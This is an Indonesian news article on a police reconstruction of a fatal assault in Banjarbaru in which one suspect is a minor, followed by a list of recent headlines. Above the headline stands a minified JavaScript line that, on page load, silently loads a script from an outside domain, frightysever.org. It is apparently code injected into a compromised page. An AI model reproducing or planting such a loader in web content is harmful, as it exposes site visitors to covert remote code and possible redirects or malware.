(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Rekonstruksi Penganiayaan Hingga Tewas di Banjarbaru, Satu Pelaku Dibawah Umur


BANJARBARU, Satuan Reskrim Polres Banjarbaru menggelar rekonstruksi kasus penganiayan berujung maut di Jalan A Yani Km 35,5, tepatnya di depan dealer Suzuki Banjarbaru, Rabu (12/6) pagi. Dalam kasus ini pihak Kepolisian mengamankan dua tersangka yang mana salah satunya masih dibawah umur.

Dari pemberitaan sebelumnya, pada bulan Maret lalu, warga Banjarbaru sempat dibuat geger dengan penemuan sesosok mayat laki-laki di samping trotoar Jalan A Yani Km 35,8 tepatnya di samping dealer Suzuki Banjarbaru, Jumat (15/3) dini hari.

Baca Juga : Geger Penemuan Mayat Laki-Laki di Trotoar Banjarbaru

Korban yang diketahui bernama Hairilah (30) asal  Basung, Kelurahan Sungai Tiung Kecamatan Cempaka ini awalnya diduga meninggal akibat mengalami kecelakaan. Namun, dari hasil penyelidikan polisi lewat pemeriksaan para saksi dan keluarga lantas ditemukan unsur penganiayaan yang dialami korban.

Kasubbag Humas Polres Banjarbaru AKP Siti Rohayati, menjelaskan awal adegan rekonstruksi bermula saat sekolompok anak-anak berkumpul di lapangan Murjani sambil minum keras. Kemudian terjadinya percekcokan antara kelompok anak-anak tersebut dengan korban Hairilah yang saat itu bersama temannya.


“Karena korban telah memberikan omongan yang kuras pas, saat pulang korban dibuntuti kelompok anak-anak tersebut. Dalam pembututan tersebut, kedua tersangka menghadang dan melempar dengan batu kearah kepala korban. Akibat lemparan tersebut korban meninggal dunia,” ujarnya kepada Kanalkalimantan.com.

Sebanyak 52 adegan ditampilkan selama rekonstruksi berlangsung. Kedua tersangka pun dihadirkan untuk menggambarkan secara detail bagaimana peristiwa tersebut berlangsung. Terlihat masyarakat pun dibuat penasaran saat menyaksikan rekonstruksi tersebut.

Dalam penangkapan, kurang lebih dua bulan, pihak kepolisian melakukan penyelidikan dan akhirnya berhasil mengamankan kedua pria diantaranya dewasa dan satu lagi masih di bawah umur yang diindikasi sebagai tersangka dalam kasus ini.

“Tersangka yang dewasa atas nama Rizky kita temukan di kota Malang. Sedangkan tersangka dibawah umur berinisial L, kita amankan di kota Banjarbaru,” lanjut AKP Siti.

Kedua tersangka Rizky dan L kini harus menanggung perbuatanya dan disangkakan pasal 170 KUHP tindak kekerasan dengan ancaman hukuman maksimal 12 tahun penjara. Selain itu, untuk tersangka L yang masih dibawa umur kini sudah di sidangkan. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

14 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

18 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

21 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.